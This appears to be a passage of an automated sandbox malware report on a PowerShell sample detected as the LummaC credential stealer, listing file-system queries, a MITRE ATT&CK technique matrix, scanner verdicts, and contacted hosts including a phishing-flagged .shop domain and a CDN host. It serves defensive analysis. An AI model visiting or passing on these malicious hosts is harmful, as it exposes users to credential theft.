Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	11 DLL Side-Loading	212 Process Injection	111 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	11 DLL Side-Loading	212 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://commons.wikimedia.org/wiki/File:Commons-logo.svgM	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu	0%	Avira URL Cloud	safe
https://styleguide.torproject.org/brand-assets/	0%	Avira URL Cloud	safe
https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg	0%	Avira URL Cloud	safe
https://www.ssrn.com	0%	Avira URL Cloud	safe
https://www.sonarlint.org/logos/	0%	Avira URL Cloud	safe
https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med	0%	Avira URL Cloud	safe
https://partner.steamgames.com/doc/marketing/branding#	0%	Avira URL Cloud	safe
https://statuspal.io/A	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg	0%	Avira URL Cloud	safe
https://www.who.int/	0%	Avira URL Cloud	safe
https://www.tesco.com/	0%	Avira URL Cloud	safe
https://www.spyder-ide.org/m	0%	Avira URL Cloud	safe
https://www.washingtonpost.com/brand-studio/archive/.	0%	Avira URL Cloud	safe
https://www.spri.ng/	0%	Avira URL Cloud	safe
https://github.com/snapcore/snap-store-badges;	0%	Avira URL Cloud	safe
https://www.target.com/-	0%	Avira URL Cloud	safe
https://snyk.io/press-kitQ	0%	Avira URL Cloud	safe
https://www.zyte.com/	0%	Avira URL Cloud	safe
https://www.tide.co/newsroom/	0%	Avira URL Cloud	safe
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors	0%	Avira URL Cloud	safe
https://www.splunk.com/	0%	Avira URL Cloud	safe
https://www.streamlit.io/brand/	0%	Avira URL Cloud	safe
https://framework.zend.com/$	0%	Avira URL Cloud	safe
https://www.zingat.com/kurumsal-logolar	0%	Avira URL Cloud	safe
https://www.zotero.org/support/brand	0%	Avira URL Cloud	safe
stamppreewntnq.shop	100%	URL Reputation	phishing
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0	0%	Avira URL Cloud	safe
https://www.zillow.com/	0%	Avira URL Cloud	safe
http://www.stubhub.com:	0%	Avira URL Cloud	safe
https://spdx.org/Resources	0%	Avira URL Cloud	safe
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/	0%	Avira URL Cloud	safe
https://www.starlingbank.com/media/	0%	Avira URL Cloud	safe
https://developer.valvesoftware.com/favicon.ico	0%	Avira URL Cloud	safe
https://spond.com/e	0%	Avira URL Cloud	safe
https://github.com/dotnet/swag/tree/master/xamarin	0%	Avira URL Cloud	safe
https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8	0%	Avira URL Cloud	safe
https://teespring.com	0%	Avira URL Cloud	safe
https://www.zellepay.com/	0%	Avira URL Cloud	safe
https://xrpl.org/	0%	Avira URL Cloud	safe
https://www.sparkpost.com/press-kit/%	0%	Avira URL Cloud	safe
https://stripe.com/about/resources3	0%	Avira URL Cloud	safe
https://telegra.ph/	0%	Avira URL Cloud	safe
https://wordpress.org/about/logos-	0%	Avira URL Cloud	safe
https://www.yelp.com/styleguide/icons	0%	Avira URL Cloud	safe
https://www.tesla.com/tesla-gallery	0%	Avira URL Cloud	safe
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg	0%	Avira URL Cloud	safe
https://www.zhihu.com/)	0%	Avira URL Cloud	safe
https://www.sololearn.com/	0%	Avira URL Cloud	safe
https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos	0%	Avira URL Cloud	safe
https://www.strongswan.org/images/$	0%	Avira URL Cloud	safe
https://www.toptal.com/brandingA	0%	Avira URL Cloud	safe
https://songoda.com/branding	0%	Avira URL Cloud	safe
https://www.atlassian.com/company/news/press-kit	0%	Avira URL Cloud	safe
https://getsol.us/branding/	0%	Avira URL Cloud	safe
https://www.skillshare.comJ	0%	Avira URL Cloud	safe
https://on.substack.com/2	0%	Avira URL Cloud	safe
https://www.spriters-resource.com/	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;	0%	Avira URL Cloud	safe
https://brandfolder.com/sonicwall/sonicwall-external	0%	Avira URL Cloud	safe
https://statuspal.io/	0%	Avira URL Cloud	safe
http://metro.mahapps.com/winfx/xaml/iconpacks	0%	Avira URL Cloud	safe
https://www.xda-developers.com/	0%	Avira URL Cloud	safe
https://support.siasky.net/key-concepts/skynet-brand-guidelines7	0%	Avira URL Cloud	safe
https://threema.ch/en/press	0%	Avira URL Cloud	safe
https://sourceforge.net/	0%	Avira URL Cloud	safe
https://www.yelp.com/styleguide/icons)	0%	Avira URL Cloud	safe
https://www.irishtimes.com/	0%	Avira URL Cloud	safe
https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://tapas.io/site/about#media$	0%	Avira URL Cloud	safe
https://tinyletter.com/site/press/	0%	Avira URL Cloud	safe
https://yalehome.com3	0%	Avira URL Cloud	safe
https://www.speedtest.net/Z	0%	Avira URL Cloud	safe
https://www.zdf.de/%	0%	Avira URL Cloud	safe
https://brandland.zendesk.com/	0%	Avira URL Cloud	safe
https://www.alibabagroup.com/en/ir/reports-	0%	Avira URL Cloud	safe
https://about.zenodo.org	0%	Avira URL Cloud	safe
http://stackoverflow.com/company/logos=	0%	Avira URL Cloud	safe
https://www.zoiper.com/en/products1	0%	Avira URL Cloud	safe
https://www.stellar.org/press1	0%	Avira URL Cloud	safe
https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter	0%	Avira URL Cloud	safe
https://www.spyder-ide.org/	0%	Avira URL Cloud	safe
http://www.stencyl.com/about/press/	0%	Avira URL Cloud	safe
https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo	0%	Avira URL Cloud	safe
https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg	0%	Avira URL Cloud	safe
https://www.smashingmagazine.com/	0%	Avira URL Cloud	safe
https://github.com/Teradata/teradata.github.io/	0%	Avira URL Cloud	safe
https://www.sonos.com/en-gb/home-	0%	Avira URL Cloud	safe
https://spring.io/trademarks	0%	Avira URL Cloud	safe
https://zigbeealliance.org/solution/zigbee/$	0%	Avira URL Cloud	safe
https://www.skyliner.io/helpL	0%	Avira URL Cloud	safe
https://www.sonarsource.com/logos/:	0%	Avira URL Cloud	safe
https://spinrilla.com$	0%	Avira URL Cloud	safe
https://www.apachefriends.org/en/	0%	Avira URL Cloud	safe
https://stadia.google.com/home	0%	Avira URL Cloud	safe
https://www.slideshare.net/ss/creators/	0%	Avira URL Cloud	safe
https://woocommerce.com/style-guide/1	0%	Avira URL Cloud	safe
https://woocommerce.com/style-guide/6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tengkis.b-cdn.net	185.93.1.250	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
stamppreewntnq.shop	true	URL Reputation: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.ssrn.com	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonarlint.org/logos/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://partner.steamgames.com/doc/marketing/branding#	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://statuspal.io/A	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://styleguide.torproject.org/brand-assets/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Commons-logo.svgM	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.who.int/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tesco.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spyder-ide.org/m	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.washingtonpost.com/brand-studio/archive/.	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/snapcore/snap-store-badges;	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spri.ng/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.target.com/-	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://snyk.io/press-kitQ	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zyte.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tide.co/newsroom/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.splunk.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zingat.com/kurumsal-logolar	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.streamlit.io/brand/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://framework.zend.com/$	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zotero.org/support/brand	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spdx.org/Resources	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zillow.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.starlingbank.com/media/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spond.com/e	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stubhub.com:	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.valvesoftware.com/favicon.ico	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://teespring.com	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zellepay.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/swag/tree/master/xamarin	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xrpl.org/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stripe.com/about/resources3	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sparkpost.com/press-kit/%	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wordpress.org/about/logos-	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://telegra.ph/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tesla.com/tesla-gallery	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.strongswan.org/images/$	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.yelp.com/styleguide/icons	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/)	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
